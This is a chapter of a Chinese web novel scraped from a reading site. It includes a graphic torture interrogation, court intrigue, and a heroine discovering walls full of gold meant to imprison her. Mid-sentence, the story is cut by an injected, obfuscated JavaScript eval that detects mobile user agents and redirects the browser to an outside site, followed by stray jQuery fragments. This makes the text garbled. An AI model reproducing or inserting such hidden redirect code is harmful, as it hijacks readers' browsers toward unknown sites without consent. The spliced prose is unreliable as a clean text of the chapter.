默认冷灰
24号文字
方正启体

32.筑金屋(2)

作者:张鹊荷本书字数:K更新时间:
    眼前光线闪了闪,冯斯疾蹲下身来,黑暗里看不清他的神色,只能瞧见他一双幽深狠静的眼睛,他拿着匕首往下挪——


    又来了,他又要一边对自己进行凌迟一边问那个问题了,王默的尿意一下就崩溃了,裤//裆渗出湿淋淋的水渍。


    他六神无主嗷嗷道:“我错了,不该敲门,都是那个狠心的女人指使我在黔州那么对你的,你饶了我行不……啊啊!”


    冯斯疾拿匕首朝王默的小腿上割去,刀入之深可听白骨之声,鲜血顺着刀锋滴淌落下,王默仰天痛嚎,下意识就想去捂住腿,可低头瞧见那模糊的血肉,他又不敢动弹。


    他缩在倒在地面瑟瑟发抖,锁住四肢的铁链随之咯吱作响,他的双眼充血,犹如被蒙了一层血雾,看什么都模糊。


    可冯斯疾还在继续持刀深入,刀钻白骨发出嚓嚓声响,王默双手死死抠住铁链,忍耐不住哭嚎:“痛、痛死……”


    耳边,冯斯疾幽幽的声音像是从阿鼻地狱传来:“李绮和魏鸣,到底是什么关系?”


    听见他的声音,王默抖得更加剧烈,像是要将身子都给抖散,哆哆嗦嗦地说:“他们真的什么都没有……”


    王默绝望地哭嚎:“何故、只拿、这一个问题来折磨我……”


    每隔几日冯斯疾就要来找他,找他就是问一样的问题。


    他回答了无数遍,可冯斯疾似乎都不满意,隔着几日又继续问,每问一遍就要往他身上割一刀。


    割一刀却也不让他死,要让人来给他包扎,等他好些了继续割,如此反复折磨,王默快要疯了,恨不能一头撞死。


    可是他低估了冯斯疾的疯魔程度,每当自己快要崩溃时,他就会把自己拉出去逛一圈,看看外面的世界,给他想要出去获得自由的欲望,让他永远不会彻底崩溃死在囚牢里。


    冯斯疾把给十个巴掌、再塞一颗糖的技艺习得炉火纯青,王默恨啊,可没人能救他出去。


    他清楚冯斯疾已经疯了,疯到想要报复所有人。


    偏偏在外头还装成从前的清官模样,可只有王默知道他如今的真面目。


    这时,冯斯疾问出声:“魏鸣当初是黔州节度使,坐拥绮丽堂那么多金子,在黔州可谓是一手遮天。他既喜欢李绮,为何没有强娶,而是好好与她周旋,想尽办法让她主动答应?


    “他给她办烟火秀,保她在群芳楼不受人欺凌,时不时还给她点儿银子,你跟我说他们没关系?”


    冯斯疾嘲笑一声,不知是在嘲谁:“她和魏鸣是不是早就情投意合,私底下许过终身,于是联手起来骗我、算计我对付我?后来魏鸣挡了她想要去京都的路,她才会不留余地杀了他?”


    每次都是同一个问题,同一番揣测,他的这席话,王默甚至已经能倒背如流。


    他又无语又伤心又绝望,按捺不住呜呜地哭出声来,很想说冯斯疾有去编写话本的本事。


    他哭着道:“我都给你说了无数次了,李绮生得漂亮,身边觊觎她的人数不胜数。


    “现在世道这么乱,她又那么漂亮,若是没有庇护所她怎么活?怎么保得住听竹苑那么多人?所以她对于那些有权有势又对她有想法的男子从来不激怒、不得罪,以此自保。


    “后来她说,她只要哄开心了魏鸣一个,其他人都无法动她。后来她就只周旋魏鸣,但绝不同意与他有牵扯。魏鸣被她哄得开心,又见她没有别人,而且还好面子,才没做强娶那种损阴德的事!”


    冯斯疾仍是不信,冷笑问:“如果真是这样,那为何他又会在我到黔州的第一日胁迫李绮做妾?”


    冯斯疾不会忘记那一日,早晨起身董临澈就拿剑出门,说要找节度使报仇。


    他担心董临澈年纪小出事,跟上去后才知道李绮被魏鸣压迫,至此对她产生怜悯之心,一发不可收拾,渐渐跌进她的陷阱。


    如果不是她和魏鸣联手欺骗算计,怎么会那么巧合?偏偏就在那个时候?


    王默答道:“我也不知道魏鸣是怎么想的!可能是李绮救了你,那么多年你是她第一个带在近身的男子,魏鸣可能慌了?”


    冯斯疾呵了声,还是不信,拿起匕首又要割他,他吓疯了,病急乱投医张嘴就胡扯:“我知道了,肯定是李绮喜欢你,魏鸣慌了,所以才改变主意想逼她的!”


    冯斯疾的手一顿。


    王默松了口气,但还是紧张兮兮地盯着他手里的刀,继续道:“李绮虽然为了保全听竹苑的人而虚与委蛇,但她真心对过的只有你。


    “因为我们本来的计划是想要你死在金山的,但没想到她临时挡箭了。算计是真的,可是为你挡箭也是真的。”


    他哭嚎着道:“这证明什么,证明她舍不得你死,她喜欢你!不然你想想,以她能飞檐走壁的本事捅了你一刀,你还能活吗?”


    王默不知这是不是他想听的答案,太多次了,王默真的受不了这个问题的折磨,只想尽快给他一个他想要的回答,他不再问了,自己也好过一些。


    王默心跳飞快的看着蹲在自己面前的那道不动如山的黑影,冯斯疾就那么定在原地,不说话,也听不见他呼吸。


    漆□□仄的小屋里陷入死一般的寂静,许久之后,匕首哐当一声落地,冯斯疾直起身,慢慢往外走。


    王默重重地吐了口气,恐惧的心慢慢退去。


    冯斯疾在外对页书道:“去给他包好,别让他死了。”


    “是。”


    -


    戌时,城外。


    李绮撩起马车帘子,冲冯斯疾招手:“冯案使,这儿!”


    冯斯疾顿了顿,撩袖前往,上了她的马车。


    她看了眼他的肩膀,小声问:“你的伤,好些了没?”


    冯斯疾淡淡嗯一声。


    他不用问也明白,她在清绮庙杀他跟何暮,只是为了清除想要把丽妃之死的真相公诸于众的人。


    现在何暮死了,自己也包庇了她,她自然没有必要再动手。


    马车嘎吱嘎吱前往清溪村,冯斯疾想起什么,问:“丽妃娘娘与你的情谊深厚,你为何要杀她?”


    李绮说:“不是我杀的。”


    “都到现在了,说谎还有意义么?”冯斯疾冷声问。


    “真的不是我杀的,你难道没听说吗,她死的那晚,她宫里的蜡烛全部一起熄灭了,都说是神明杀了她,熄灭烛光是为了不让凡人窥见神明的本相。”


    “是吗?”冯斯疾斜睨了她一眼:“可我怎么觉得神明如果真的要动手,带走的人应该是你。”


    李绮抿唇不说话了。


    如果真有神明,清绮庙那么多香火,该死的人的确应该是她吧。


    冯斯疾这时又道:“且我在你身上看不到任何悲伤的样子。我已经包庇了你,都是一条绳上的蚂蚱,还有什么不可对我说。”


    “我真的没有杀她,所以也无可奉告。”


    冯斯疾静静看了她半晌,不再多言。


    在这一点上,她还是和从前一样,藏得深,装得像,绝口不提,混淆人的耳目,遮掩所有事实。


    在马车咯吱咯吱的声音中,清溪村到了。


    一下马车,就看到几乎耸入云霄的藏金阁,那么高,琉璃金瓦,金砖砌墙,奢华精妙,望眼夺目。


    站在藏金阁的最高处,可以看见笼罩在一层霜雪白雾中的遥远都城,巍峨静谧。


    也能看见近在眼前的大片雪林,覆满霜雪的树梢枝头停着几只寒雁,鸣叫着互相梳毛。


    李绮往下看,瞧见这栋藏金阁周边围着不少的小宅院,她数了数,共有九个。


    她突然想起什么,在窗边回头望着冯斯疾笑道:“如果不是因为那些宅子普普通通,我都要以为这是你送给我的十座金宅子了。”


    当初抢腊八,他‘输’了,李绮许的愿望就是十座金宅。


    冯斯疾定定看着她,那眼神深得让人发毛,缓缓说:“你敲开墙看看,说不定里面真的藏着金子。”


    他这种目光让李绮愣了愣,忙别开头躲避他的目光:“我看这墙挺普通,别敲垮了。再说你的家底在梅林的时候都给我了,怎么可能还会有金子再造屋。”


    冯斯疾没说话。


    空气有一瞬诡异的沉默,李绮有些不自在,好像从进了藏金阁后,他的话就变得特别少,眼神也奇奇怪怪的。


    一枝树枝长得太高,伸到窗棂口来,挡住了视线,李绮把它拨开,瞧见夜阑生香还有董临澈三人提着大包小包的进来,夜阑仰头对着她挥手。


    李绮回头,喊了冯斯疾一声,他没反应,她伸出五指在他眼前晃了晃,他才猛地回神:“怎么?”


    “你在看什么?”李绮顺着他的方向看过去,那儿是自己方才拨开的树枝,不明白那有什么好看的,绕过他走下藏金阁:“跟上,夜阑她们到了。”


    藏金阁下方的每一个小宅院,都配了厢房和小厨房,夜阑选了个最大的,把采买回来的年礼年货都放进去。


    冯斯疾卷起袖子走进小厨房,淡声说:“在黔州时你们便说,要我做除夕饭。当时没有机会,今日虽不是正经的除夕,但也算圆满了。”


    几人便开始贴窗花贴对联,挂上红红的灯笼。


    院子里光秃秃的大树的枝头上,也挂满了无数的红飘带,风一吹,那丝带便轻轻飘浮起浪,像天边流淌的霞云。


    结伴在院里放鞭炮,噼里啪啦的鞭炮声乍响,夜阑和生香塞紧耳朵望着那闪着火光的鞭炮,嘴角挂着笑意。


    李绮踱步走到冯斯疾身边,悄悄伸出小指,勾住他的手。


    他僵了一下,过了会儿反握住她整只手,目光却仍然盯着在燃放的鞭炮。


    李绮改用两只手去拉他,他便更用力地紧握她的手,被他一整个桎梏裹在掌心,紧得她手指都无法动弹,她却不痛反笑,悄悄抠他的手掌心,去观察他的模样。


    他面无神色,瞅着那燃放的鞭炮,一动不动,好像只是在看炮,但握住她手的力气又极重。


    李绮没戳破他的伪装,别开眼望着他们,仿佛回到了听竹苑的时候,不知何时她已经不再怀念云洲那个没有爹娘关注的家,而是想念她和他们的听竹苑。


    -


    京都的雪总要下到正月里,时下正是雪最大的时候,天地间银装素裹,除了白雪,就不见半点儿其余颜色。


    经上次县主府外的血流成河,李绮不敢再招摇过市,她换了辆低调的马车,省得被愤怒的民众群起攻之。


    县主府金银屋的东西已经被搬去藏金阁,那些可都是在黔州好不容易从节度府搜刮来的,是将来她们收复云洲的所有花用。


    如今的县主府早已搬空,但为做个样子,李绮仍是找了人修缮。


    搬金银屋和修缮县主府忙碌,李绮一再被耽搁,一直未曾入宫见梁帝。


    但养鱼,鱼食是不可断的。


    所以在过年的三日前,李绮拾掇一番便入宫见陛下。


    路过何府的时候,瞧见府外挂白幡,满地撒满纸钱,下人们白衣素缟,人们脸上早已不见悲伤,想必最伤心的时候已经过去,看样子丧事已经办到了尾声。


    除了冯斯疾,李绮没觉得有什么愧疚,于她而言,何暮本来就该死。


    所有人都道何章敬是和冯斯疾一样的好官,但李绮清楚,他不是,他甚至不配跟冯斯疾相提并论。


    何章敬是何汝成唯一的儿子。


    他是嫡出,自小才华横溢,于科举中拔得头筹,官拜户部侍中,年长冯斯疾五岁,今年三十,仍未娶妻。


    他从小被寄予厚望,事事做到出彩。


    梁帝登基,朝堂更迭,战乱四起,难民一拨拨涌入京都,他用体己俸禄设立难民安置所,每隔七日便亲自施粥。


    任职户部,他体恤民情,亲自走访环境艰难的人家,尽其所能去帮助。


    上任短短三年,赢得民心所向。


    他本有大好前程,却因一双腿坐终身轮椅,从此锦绣前程尽毁,何氏一族痛心疾首,连带着百姓们也对李绮恨之入骨。


    但李绮清楚,他施粥救下的那些难民,后来都被他用去充了军。


    那时云洲和南燕还在打仗,梁帝不停找年轻力壮的男丁充军,有人不愿意上战场,便凑够银子找上何章敬,何章敬就配合张洲竹把人从名册上划掉,再用他们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923185|175110||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    曾救下的老弱病残的难民拿去充数。


    老弱病残上战场,无非就是去送个人头,所以云洲一战即便等来了援军,也没能挽救。


    云洲城破,也有何章敬的一手,就算不为那些无辜的难民,为了云洲,李绮也容不得这对兄妹。


    何暮明明知道真相,却什么都伪装,装作什么都不清楚。


    这件事做的隐秘,又是很久之前云洲打仗的事,知晓真相的人不多。


    李绮也是来京都后,一直在为冯斯疾调查云洲城破的真正原因才能得知。


    他们百姓口中的好官,不过只是朝廷的蛀虫而已。


    这种人,死一百个也不足惜。


    她潜伏在张洲竹身边,一面是为保全生香,一面是为对付何章敬。


    她做了个挑拨离间的活儿,让何章敬与张洲竹做的这件事败露一些消息。


    张洲竹最讨厌事态不受掌控的感觉,他认为何章敬办事不力,放他养的那条大鱼咬废了何章敬的双腿。


    但人人都以为是李绮害的,因为何章敬在外就是这么说的。


    张洲竹他不敢惹,可不就只能将黑锅往她身上甩。


    李绮有时候就想,这世道也不知为何,真正的好官好人被贬黔州,艰难度日,她拼命想要拯救云洲水深火热的百姓,却人人都讨厌她,想让她去死。


    县主府被砸了个稀巴烂,她的名声也遗臭万年。


    在越来越远的思绪里,马车抵达皇宫。


    李绮下了马车,徒步去永寿殿。


    正见永寿殿的两扇雕花金门被李恪拉开,从里头走出道月白的身影。


    张洲竹那一身白几乎与天地间的雪色融为一体,他眉目生得十分清秀,就像初春的嫩芽,穿月白色时,与冯斯疾那种冷淡疏离不同,他的气质干净清朗,如一缕清浅的晚风。


    可惜。


    李绮太了解他了,怎么看也无法将他和干净联系起来。


    她有时候会忍不住想,倘若张洲竹并非生在侯府那样复杂的家中,是否会和冯斯疾一样,长成一个刚正不阿之人。


    她不打算与他说话,然擦肩而过时,他却停驻叫她:“县主近日很忙?怎的不来见我?”


    当着不少太监的面,他说话毫不忌讳。


    李绮停步说:“的确是有些忙。”


    “再忙也不能忘了投诚这种重要的事啊。”


    张洲竹把双手拢在袖子里,笑眯眯地侧眼望过来,眼神不善:“你可别忘了,经县主府外血流成河后,所有人都只会认为你跟我是蛇鼠一窝。你不向我投诚,若是再有人想杀你,还有谁敢护你?”


    他顿了顿,又说:“不会是冯斯疾吧?毕竟我昨日才知道,原来他向我索买的那架绝音竟然是送给你的。”


    绝音两个字让李绮怔忡,须臾后,抬眸望他:“你说什么?”


    “咦,难道你不知道?”


    张洲竹眼里荡漾出更为深沉的笑色,意味深长道:“我之前陪同陛下和娘娘去黔州,带了绝音。本来只是百金的东西,他却用千金从我这儿购去,昨日有人告诉我,绝音在你那里。难道不是他送你的?”


    李绮恍惚着没说话,张洲竹走近她两步,这次他不再嚣张,而是用只有两人能听见的声音低声说:


    “他明明知道他父亲冯翊君死在我手里,也知道云洲城破与我有干系,对我恨之入骨,扬言与我这等奸佞水火不容,必有一日要亲自取我头颅。


    “然而那一次他却主动找我,我不见他,他便在黔州的雪天里站了好多日,就为用千金买杀父仇人的一架绝音。”


    李绮脚下发软,险些站不住,张洲竹伸手轻轻扶一扶她,笑道:“你却说你们不认识,是把我当傻子?杀了他,要么我杀了你。”


    李绮深吸了口气平复心神,随后甩开他的手,说:“总得给我点时间。”


    也不等他回话,她提步就往永寿殿里走。


    “李绮。”


    没走两步,张洲竹喊她,她不想听他胡言乱语,非但不停反而加快步伐。


    他却高声道:“你难道不知道,清溪村是冯斯疾的老家?你竟敢将那里用作所谓的庇护所?”


    李绮一愣,脚下不慎绊住永寿殿的门槛,失去平衡的身子往旁边栽去。


    胳膊被人一把扶住,她抬眼,看见李恪的脸,李恪压低声音对她说:“县主,莫要被奸人乱了心神。”


    李绮轻轻嗯一声,站直身,侧头看张洲竹:“你监视我?”


    “别误会,我只是在关注生香,无意间发现的藏金阁。”


    张洲竹笑出声,那笑容清澈极了,与他的心肠一点儿都不符,他道:


    “你和冯斯疾在黔州那点儿事我都知道,我只是见你效忠我这么多年,好心想提醒你,男人最懂男人,那藏金阁在我看来就是一个用来报复的囚笼,你自己掂量。”


    言罢他潇洒转身离去,雪地上留下一串他深深浅浅的脚印,李绮看着看着,心神俱乱,不知怎的突然想起冯斯疾的那句话来:“你把墙砸开看看,说不定里头藏着金子呢?”


    想起他自从到了藏金阁便沉默寡言,神色怪异。


    李绮疯了一样地急于求证,对李恪道:“你去告诉陛下,我晚些时候再来见他。”


    说完便顺着张洲竹留下的脚印往宫外狂奔,她奔上停在宫外的马车,快马加鞭赶去藏金阁。


    清溪村太远,赶路用了不少时辰,到的时候天色灰蒙蒙地暗下来,她一进门便听见院子里传出夜阑生香的笑声。


    她走进屋里,取下武器架上董临澈的剑,夜阑生香喊她她也不应,直走到院外,对着一堵院墙挥剑而上。


    只听噼里啪啦的声音,外墙垮了厚厚的一层,露出里头闪闪发光的金子来。


    跟出来的夜阑瞧见,呀了一声:“这墙里怎么会有金子?”


    李绮的心坠入谷底,恐惧如潮水般涌来,从头到脚裹遍全身。她只觉得很冷,冷得发抖。


    站在藏金阁最高的十一层往下看,原来这里真的是十座金宅。


    她在黔州随口许下的愿望,冯斯疾做到了,可却是用来困住她的金宅。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)